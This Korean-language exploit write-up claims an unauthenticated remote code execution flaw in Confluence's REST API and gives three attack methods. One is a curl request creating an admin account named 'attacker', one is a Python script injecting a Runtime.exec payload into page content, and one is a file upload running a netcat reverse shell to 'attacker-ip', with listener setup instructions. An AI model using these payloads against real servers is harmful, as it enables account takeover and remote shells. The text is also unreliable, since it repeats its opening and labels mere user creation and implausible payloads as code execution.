
이 취약점을 통해 인증되지 않은 공격자는 취약한 Confluence 서버에서 원격으로 임의 코드를 실행할 수 있습니다. 이 취약점은 Confluence REST API에서 사용자 제공 입력에 대한 부적절한 검증으로 인해 발생합니다. 이를 통해 공격자는 Confluence 서버에 악성 코드를 주입할 수 있으며, 이후 서버가 해당 코드를 실행할 수 있습니다.
이 취약점은 인증되지 않은 공격자가 취약한 컨플루언스 서버에서 임의의 코드를 원격으로 실행할 수 있게 합니다. 취약점은 컨플루언스 REST API에서 사용자 입력 값의 부적절한 검증으로 인해 발생합니다. 이를 통해 공격자는 컨플루언스 서버에 악성 코드를 주입할 수 있으며, 서버가 이를 실행하게 됩니다.
이 취약점으로 인해 공격자가 취약한 컨플루언스 서버를 완전히 제어할 수 있습니다. 이를 통해 공격자가 데이터를 탈취하거나 수정하거나 서버의 가용성을 방해할 수 있습니다.
두 가지 이상의 방법을 제시하겠습니다. 1.
1. 취약한 API 엔드포인트 식별:
다음 API 엔드포인트를 사용할 것입니다:
POST /rest/api/user/bulk
이 엔드포인트는 관리자가 대량으로 새 사용자를 생성할 수 있게 합니다.
2. 악의적인 요청 제작:
악성 코드가 포함된 페이로드를 담은 악의적인 요청을 생성합니다. 이 코드는 관리자 권한을 가진 새 사용자를 생성합니다.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. 서버로 요청 전송:
cURL 도구를 사용하여 컨플루언스 서버로 요청을 전송합니다.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. 악성 코드 실행:
요청이 성공하면 컨플루언스 서버가 악성 코드를 실행합니다. 그러면 "attacker"라는 이름의 관리자 권한을 가진 새 사용자가 생성됩니다. 공격자는 이 계정을 사용하여 서버에 접근하고 완전한 제어권을 얻을 수 있습니다.
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Burp Suite를 통해 수정된 요청을 전송합니다. 서버가 악성 페이로드를 실행했는지 확인하기 위해 응답을 확인하세요. 응답이 예상과 다르거나 코드 실행을 나타내는 오류가 포함되어 있다면 취약점이 감지된 것입니다.
리버스 셸을 설정하는 페이로드를 사용하는 경우, 로컬 머신의 지정된 포트에서 리스닝을 설정해야 합니다: nc -lvnp 4444. 서버가 로컬 머신에 연결되면 리버스 셸을 받게 됩니다.